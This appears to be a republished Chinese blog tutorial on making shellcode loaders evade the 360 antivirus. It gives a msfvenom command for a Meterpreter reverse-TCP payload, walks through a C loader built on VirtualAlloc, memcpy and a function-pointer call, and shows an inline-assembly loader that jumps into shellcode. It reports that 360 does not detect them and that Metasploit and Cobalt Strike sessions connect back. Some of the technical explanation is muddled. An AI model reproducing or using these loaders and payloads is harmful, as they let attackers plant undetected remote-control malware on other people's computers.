shellcode免杀丨C语言三条指令免杀360!你还困吗?

Posted C语言编程俱乐部

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了shellcode免杀丨C语言三条指令免杀360!你还困吗?相关的知识,希望对你有一定的参考价值。

shellcode免杀(1)C语言三条指令免杀360

✉ 1

简介

描述有错的地方各位师傅海涵。

经过一下午的C语言测试,得出了十多种过360的·方法,这里拿三种c的方式过360(思路大体相同),还有一个c++的免杀360和火绒都可以过等有时间都可以跟大家更新。

✉ 2

免杀过程

废话就不多讲了对于初学者友好发展,先看一遍制作过程,我们准备好msf和cs的shllecode

msfvenom -p windows/meterpreter/reverse_tcp LHOST="自己IP" LPORT="自己的端口" -f c > shell.txt

CS生成shellcode,要用c语言的shellcode,每个语言的解析shellcode方式不同所以这里要选好语言形式。

接下来就是把这些shellcode放到源码里进行免杀上线了,接下来的三种c语言免杀都是只能过360的,火绒动态被查,但是最后的C++是两个都可以过的,先来看个正经c语言免杀

看下图,没错c语言免杀就需要这点代码,而且这是八年前的代码,如果研究免杀的朋友应该很眼熟毕竟也是传烂了,本文也主要为了解析免杀,我们来一步步分析。

从这里开始麻烦真的想学免杀的仔细阅读,这是最简单的入门,如果你看不下去就不要学了。

前三行其实就和Java,python的import一样;第四行也就是我们箭头指的这行是隐藏弹出窗口,也就是不让控制台蹦出来,至于unsignedchar指无符号类型的字符数组,这里各位理解为扩容就行了.

下边为代码主要部分,pvoid就是指针,学过c语言的朋友都知道基本都用*代替了这里方便讲解就用了本体类型

*P=null;//就是创建变量并且赋值

int a;//一样的性质,*p= null其实就是inta =0;

typedef void(_stdcall*CODE) //给类型起别名,也可以用指针代替原函数,我们说的简单点这里就是将_stdcall函数利用指针特性附给了我们自己起的CODE函数里,指针就是变量容器,但是指针存的是地址,也就是我把_stdcall的地址存到了CODE里所以它的值也都在里边了,但是CODE还是CODE并有自己的地址。这里各位别深究,你就当继承了就行。

这里是最主要的,我们详细来讲解一下。

VirtualAlloc,是win32的api函数,是用来申请动态内存的,动态内存我们可以通俗的理解为,主动式保护内存,可以根据我们自己决定是否存在;

打个比喻,一个苹果吃完就没有了,但是一整棵树的苹果你想吃哪个吃哪个,有的朋友可能会想这不还是能吃完么,当然了,内存又不是无限的,这个申请动态内存就是在有限的范围留出你想要的地方。

VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT |MEM_RESERVE,PAGE_EXECUTE_READWRITE);//函数内参数(要分配的内存区域的地址,分配的大小,分配的类型, 该内存的初始保护属性)

====================================

这里的NULL是让系统自己分配内存地址;内存大小就是经典的sizeof了;

MEM_COMMIT |MEM_RESERVE:为特定的页面区域分配内存中或磁盘的页面文件中的物理内存,或保存地址而不分配物理存储,也就是保留这一个地址随时可利用

PAGE_EXECUTE_READWRITE:可执行可读模式,可以理解为申请权限

到了这里我们来总结这串代码具体意思:

“我申请了一块土地,土地大小是shellcode,我要用这块土地都给我腾出地,我不用这块土地但这土地就是我的-我不用你们也不准用,这土地谁都能看明白是我的并且只有我可以动”

接下来看这块,if那里就是如果没有shellcode就直接结束进程了;

memcpy函数,拷贝内存数据,和我们平时用的copy一样;

        ☆ p:容器,也就是要接受数据的目标数组;

        ☆ shellcode:复制的数据源;

        ☆ sizeof():复制的大小;

代码解释:把多大的code存到p指针里;

CODE=_stdcall,code=(_stdcall)p

这里要好好看,前边我们已经给stdcall改了名字叫CODE,而stdcall的作用是从右向左压栈,这里是函数详细代码解析,不会汇编的朋友跳过就行也没必要深究本质;

pushebp 保存ebp寄存器,该寄存器将用来保存堆栈的栈顶指针,可以在函数退出时恢复mov ebp,esp 保存堆栈指针moveax,[ebp + 8H] 堆栈中ebp指向位置之前依次保存有。

ebp,cs:eip,a,b,ebp+8指向a

add eax,[ebp + 0CH] 堆栈中ebp+ 12处保存了b

mov esp,ebp 恢复esp

pop ebp

ret8

我们这里再把之前赋值给p的数据拿来

VirtualAlloc(NULL,sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

从右向左,也就是先申请保护内存,可读可用,之后占用好不让别人动,大小为code大小,最后系统你看着办给我个地儿。

最后使用code();

到这我们算是把这个代码讲解完了,进行总结:

准备好调用头文件,其实和Java的依赖差不多;

        ▷ 把_stdcall改名为CODE,再隐藏弹窗;

        ▷ 将code存入shellcode数组;

        ▷ 创建指针变量p赋值为空方便存储;

        ▷ 将VirtuallAlloc函数存入p申请动态内存并保护;

        ▷ 如果shellcode为空则结束;

        ▷ 复制shellcode进p;

        ▷ 从右向左压栈;

        ▷ code()执行。

终于到了看效果的时候了,把我们的shellcode放进去并生成exe文件

来用360扫一下看看,没有报毒

msf准备好监听看看能否上线并操作,可以上线并操作

接下来看cs的

看看运行,上线

来看另外两个免杀,只需要三行指令即可免杀

这里是嵌入式汇编呼叫ShellCode,学汇编的一看就明白了,鉴于很多开始专注于web渗透的师傅们很多不了解汇编我们这里简单讲解一下

#pragmacomment(linker, "/section:.data,RWE")

VOIDmain()

{

  __asm

  {



      mov eax,offset ShellCode

      jmp eax

  }

}

#pragma comment(linker,"/section:.data,RWE"),这个等于之前的VirtualAlloc

__asm内联调用汇编语言达到不冲突可运行;

调用offset函数引用shellcode进入eax寄存器;

jmp无条件跳转进eax寄存器执行;

====================================

没错,运用汇编就是这么轻松,加上创建内联,实际只用两条指令就可以轻松过360,过多的不介绍了,看运行结果

本来是想把C++的一起发出来的,可是没想到C语言的就这么多了。

最后,若想渗透好,就别要男女朋友,对象只会影响你的大脑思考。(狗头保命)

—— END ——

【值得关注】我的 编程学习交流俱乐部 !【进入领取】

—————————————

一起学习,一起交流,不管你是转行也好,初学也罢,进阶也可,如果你想学编程,进阶程序员~

更多C语言入门资料(网盘链接免费分享)

全方位C语言书籍(PDF免费分享)

以上是关于shellcode免杀丨C语言三条指令免杀360!你还困吗?的主要内容,如果未能解决你的问题,请参考以下文章

Shellcode免杀,绕过360安全卫士火绒安全腾讯管家

Cobal Strike免杀过360

打造一款Socket型免杀无弹窗的shellcode

免杀原理与实践

渗透测试笔记之Python免杀——两行代码实现免杀!VT查杀率:10/68(思路:将ShellCode和Loader一起分离免杀)

2019-2020-2 20175226王鹏雲《网络对抗技术》Exp3 免杀原理与实践